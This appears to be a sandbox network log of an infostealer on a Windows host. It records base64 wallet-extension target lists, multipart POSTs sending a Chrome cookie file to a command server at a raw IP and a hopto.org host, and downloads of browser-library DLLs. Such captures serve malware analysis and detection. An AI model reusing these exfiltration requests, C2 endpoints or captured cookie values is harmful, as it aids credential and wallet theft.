Sep 30, 2024 13:59:43.959233999 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Sep 30, 2024 13:59:43.959247112 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Sep 30, 2024 13:59:43.959259033 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Sep 30, 2024 13:59:43.959301949 CEST	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Sep 30, 2024 13:59:43.959314108 CEST	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Sep 30, 2024 13:59:43.961313963 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJEGDGIJECGCBGCGHDG Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 31 64 30 30 64 65 38 35 35 30 65 39 38 65 33 63 38 34 64 62 38 37 66 65 36 35 65 66 61 36 36 39 38 62 36 65 63 38 62 39 31 35 64 64 39 32 65 63 61 30 34 34 38 34 64 63 38 35 66 61 34 35 35 63 34 35 61 30 65 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 2d 2d 0d 0a Data Ascii: ------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="token"821d00de8550e98e3c84db87fe65efa6698b6ec8b915dd92eca04484dc85fa455c45a0eb------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="message"fplugins------BKJEGDGIJECGCBGCGHDG--
Sep 30, 2024 13:59:44.141707897 CEST	335	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 11:59:44 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Sep 30, 2024 13:59:44.165314913 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKEGCAEGIIJKFIEHIJE Host: 46.8.231.109 Content-Length: 7787 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 13:59:44.165355921 CEST	7787	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 45 47 43 41 45 47 49 49 4a 4b 46 49 45 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 31 64 30 30 Data Ascii: ------DBKEGCAEGIIJKFIEHIJEContent-Disposition: form-data; name="token"821d00de8550e98e3c84db87fe65efa6698b6ec8b915dd92eca04484dc85fa455c45a0eb------DBKEGCAEGIIJKFIEHIJEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Sep 30, 2024 13:59:44.381038904 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 11:59:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 13:59:44.387837887 CEST	91	OUT	GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 30, 2024 13:59:44.565397024 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 11:59:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Sep 30, 2024 13:59:44.565423965 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Sep 30, 2024 13:59:44.565434933 CEST	448	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Sep 30, 2024 13:59:44.565526962 CEST	1236	IN	Data Raw: 0e 70 eb 61 89 04 24 ff 15 80 02 ed 61 52 52 89 c2 85 d2 74 09 c7 04 24 78 67 eb 61 ff d2 c7 04 24 96 14 e0 61 e8 fc e2 0a 00 c9 c3 55 89 e5 5d c3 90 03 14 85 a0 c3 ec 61 55 89 e5 89 14 85 a0 c3 ec 61 83 c0 08 3b 14 85 a8 c3 ec 61 76 07 89 14 85 Data Ascii: pa$aRRt$xga$aU]aUa;ava]tUS$R[]UWVS,u}L$T$$t$\|$S,[^_]UWVS,u}L$T$$t$\|$S,[^_]UV0T$L$$V^]
Sep 30, 2024 13:59:45.474343061 CEST	950	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAKKEGCAAECAAAKFBGIE Host: 46.8.231.109 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 31 64 30 30 64 65 38 35 35 30 65 39 38 65 33 63 38 34 64 62 38 37 66 65 36 35 65 66 61 36 36 39 38 62 36 65 63 38 62 39 31 35 64 64 39 32 65 63 61 30 34 34 38 34 64 63 38 35 66 61 34 35 35 63 34 35 61 30 65 62 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="token"821d00de8550e98e3c84db87fe65efa6698b6ec8b915dd92eca04484dc85fa455c45a0eb------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3LWdUY1dxSHZadlpiYWZPcGtxUnkwZEx5WUc5QWpQMnZiVUJvbWFybmM5cGNaVmxoSGtVZVVhV011ckQwR0dYeVcwNV9CXzFJeVVOWUVFTG15cVJnCi5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNjk5MDcxNjQwCTFQX0pBUgkyMDIzLTEwLTA1LTA2Cg==------BAKKEGCAAECAAAKFBGIE--
Sep 30, 2024 13:59:45.674966097 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 11:59:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 13:59:45.825402975 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFIDGDBGCAAFIDHIJKEH Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 31 64 30 30 64 65 38 35 35 30 65 39 38 65 33 63 38 34 64 62 38 37 66 65 36 35 65 66 61 36 36 39 38 62 36 65 63 38 62 39 31 35 64 64 39 32 65 63 61 30 34 34 38 34 64 63 38 35 66 61 34 35 35 63 34 35 61 30 65 62 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="token"821d00de8550e98e3c84db87fe65efa6698b6ec8b915dd92eca04484dc85fa455c45a0eb------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="file"------AFIDGDBGCAAFIDHIJKEH--
Sep 30, 2024 13:59:46.028806925 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 11:59:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 13:59:46.829981089 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJKFCGHIDHCBGDHJKEB Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 31 64 30 30 64 65 38 35 35 30 65 39 38 65 33 63 38 34 64 62 38 37 66 65 36 35 65 66 61 36 36 39 38 62 36 65 63 38 62 39 31 35 64 64 39 32 65 63 61 30 34 34 38 34 64 63 38 35 66 61 34 35 35 63 34 35 61 30 65 62 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="token"821d00de8550e98e3c84db87fe65efa6698b6ec8b915dd92eca04484dc85fa455c45a0eb------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="file"------EHJKFCGHIDHCBGDHJKEB--
Sep 30, 2024 13:59:47.029632092 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 11:59:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 13:59:47.580096006 CEST	91	OUT	GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 30, 2024 13:59:47.787019968 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 11:59:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Sep 30, 2024 13:59:49.207264900 CEST	91	OUT	GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 30, 2024 13:59:49.384849072 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 11:59:49 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49728	45.132.206.251	80	3532	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 13:59:43.481450081 CEST	183	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFIEGIECGCBKFIEBGCA Host: cowod.hopto.org Content-Length: 3181 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 13:59:43.481493950 CEST	3181	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 Data Ascii: ------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------BAFIEGIECGCBKF
Sep 30, 2024 13:59:44.257215023 CEST	188	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 30 Sep 2024 11:59:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive X-Served-By: cowod.hopto.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49730	46.8.231.109	80	1916	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 13:59:49.407788038 CEST	92	OUT	GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 30, 2024 13:59:50.008991003 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 11:59:49 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
